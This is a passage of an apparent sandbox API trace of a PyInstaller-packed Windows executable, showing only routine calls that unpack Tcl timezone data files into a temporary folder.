lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Pyongyang", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Pyongyang", lpFilePart=0x0) returned 0x46 [0040.460] GetLastError () returned 0x2 [0040.460] SetLastError (dwErrCode=0x2) [0040.460] GetLastError () returned 0x2 [0040.460] SetLastError (dwErrCode=0x2) [0040.460] GetLastError () returned 0x2 [0040.460] SetLastError (dwErrCode=0x2) [0040.460] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Pyongyang") returned 71 [0040.460] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Pyongyang" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\pyongyang"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.460] GetFileType (hFile=0x10c) returned 0x1 [0040.460] htonl (hostlong=0x26010000) returned 0x126 [0040.460] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.460] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x126, lpOverlapped=0x0) returned 1 [0040.461] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.461] CloseHandle (hObject=0x10c) returned 1 [0040.461] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.462] htonl (hostlong=0x30000000) returned 0x30 [0040.462] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.462] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.462] GetFileType (hFile=0x10c) returned 0x1 [0040.462] htonl (hostlong=0x96115b00) returned 0x5b1196 [0040.462] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fc196, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.462] htonl (hostlong=0x92000000) returned 0x92 [0040.462] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x55cfe0 [0040.462] htonl (hostlong=0x92000000) returned 0x92 [0040.462] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.462] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.462] htonl (hostlong=0xa9000000) returned 0xa9 [0040.462] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa9) returned 0x550600 [0040.462] htonl (hostlong=0x92000000) returned 0x92 [0040.462] htonl (hostlong=0xa9000000) returned 0xa9 [0040.462] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.462] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.462] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.462] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.462] CloseHandle (hObject=0x10c) returned 1 [0040.462] GetLastError () returned 0x0 [0040.462] SetLastError (dwErrCode=0x0) [0040.462] GetLastError () returned 0x0 [0040.462] SetLastError (dwErrCode=0x0) [0040.462] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.463] GetFileType (hFile=0x10c) returned 0x1 [0040.463] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.463] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.463] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.463] CloseHandle (hObject=0x10c) returned 1 [0040.463] GetLastError () returned 0x0 [0040.463] SetLastError (dwErrCode=0x0) [0040.463] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.463] GetFileType (hFile=0x10c) returned 0x1 [0040.463] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.463] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.464] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.464] CloseHandle (hObject=0x10c) returned 1 [0040.464] GetLastError () returned 0x0 [0040.464] SetLastError (dwErrCode=0x0) [0040.464] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.464] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.464] GetFileType (hFile=0x10c) returned 0x1 [0040.464] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.464] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.464] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.464] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.464] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.464] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.464] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.464] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.464] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.464] CloseHandle (hObject=0x10c) returned 1 [0040.464] GetLastError () returned 0x0 [0040.464] SetLastError (dwErrCode=0x0) [0040.464] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Qatar") returned 67 [0040.464] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Qatar" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\qatar"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.464] GetLastError () returned 0x2 [0040.465] SetLastError (dwErrCode=0x2) [0040.465] GetLastError () returned 0x2 [0040.465] SetLastError (dwErrCode=0x2) [0040.465] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Qatar", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Qatar", lpFilePart=0x0) returned 0x42 [0040.465] GetLastError () returned 0x2 [0040.465] SetLastError (dwErrCode=0x2) [0040.465] GetLastError () returned 0x2 [0040.465] SetLastError (dwErrCode=0x2) [0040.465] GetLastError () returned 0x2 [0040.465] SetLastError (dwErrCode=0x2) [0040.465] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Qatar") returned 67 [0040.465] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.465] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Qatar" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\qatar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.466] GetFileType (hFile=0x10c) returned 0x1 [0040.466] htonl (hostlong=0xa9000000) returned 0xa9 [0040.466] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.466] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa9, lpOverlapped=0x0) returned 1 [0040.467] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.467] CloseHandle (hObject=0x10c) returned 1 [0040.467] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.467] htonl (hostlong=0x30000000) returned 0x30 [0040.467] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.467] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.467] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.467] GetFileType (hFile=0x10c) returned 0x1 [0040.467] htonl (hostlong=0x28125b00) returned 0x5b1228 [0040.468] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fc228, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.468] htonl (hostlong=0xca010000) returned 0x1ca [0040.468] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1ca) returned 0x550600 [0040.468] htonl (hostlong=0xca010000) returned 0x1ca [0040.468] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.468] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.468] htonl (hostlong=0x98060000) returned 0x698 [0040.468] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x698) returned 0x55e278 [0040.468] htonl (hostlong=0xca010000) returned 0x1ca [0040.468] htonl (hostlong=0x98060000) returned 0x698 [0040.468] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.468] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.468] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.468] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.468] CloseHandle (hObject=0x10c) returned 1 [0040.468] GetLastError () returned 0x0 [0040.468] SetLastError (dwErrCode=0x0) [0040.468] GetLastError () returned 0x0 [0040.468] SetLastError (dwErrCode=0x0) [0040.468] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.468] GetFileType (hFile=0x10c) returned 0x1 [0040.468] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.468] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.468] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.468] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.468] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.469] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.469] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.469] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.469] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.469] CloseHandle (hObject=0x10c) returned 1 [0040.469] GetLastError () returned 0x0 [0040.469] SetLastError (dwErrCode=0x0) [0040.469] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.469] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.469] GetFileType (hFile=0x10c) returned 0x1 [0040.469] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.469] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.469] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.469] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.469] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.469] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.469] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.469] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.469] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.469] CloseHandle (hObject=0x10c) returned 1 [0040.469] GetLastError () returned 0x0 [0040.469] SetLastError (dwErrCode=0x0) [0040.469] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.469] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.470] GetFileType (hFile=0x10c) returned 0x1 [0040.470] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.470] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.470] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.470] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.470] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.470] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.470] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.470] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.470] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.470] CloseHandle (hObject=0x10c) returned 1 [0040.470] GetLastError () returned 0x0 [0040.470] SetLastError (dwErrCode=0x0) [0040.470] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Qyzylorda") returned 71 [0040.470] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Qyzylorda" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\qyzylorda"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.470] GetLastError () returned 0x2 [0040.470] SetLastError (dwErrCode=0x2) [0040.470] GetLastError () returned 0x2 [0040.470] SetLastError (dwErrCode=0x2) [0040.470] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Qyzylorda", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Qyzylorda", lpFilePart=0x0) returned 0x46 [0040.470] GetLastError () returned 0x2 [0040.470] SetLastError (dwErrCode=0x2) [0040.470] GetLastError () returned 0x2 [0040.470] SetLastError (dwErrCode=0x2) [0040.470] GetLastError () returned 0x2 [0040.470] SetLastError (dwErrCode=0x2) [0040.470] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Qyzylorda") returned 71 [0040.470] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.471] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Qyzylorda" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\qyzylorda"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, 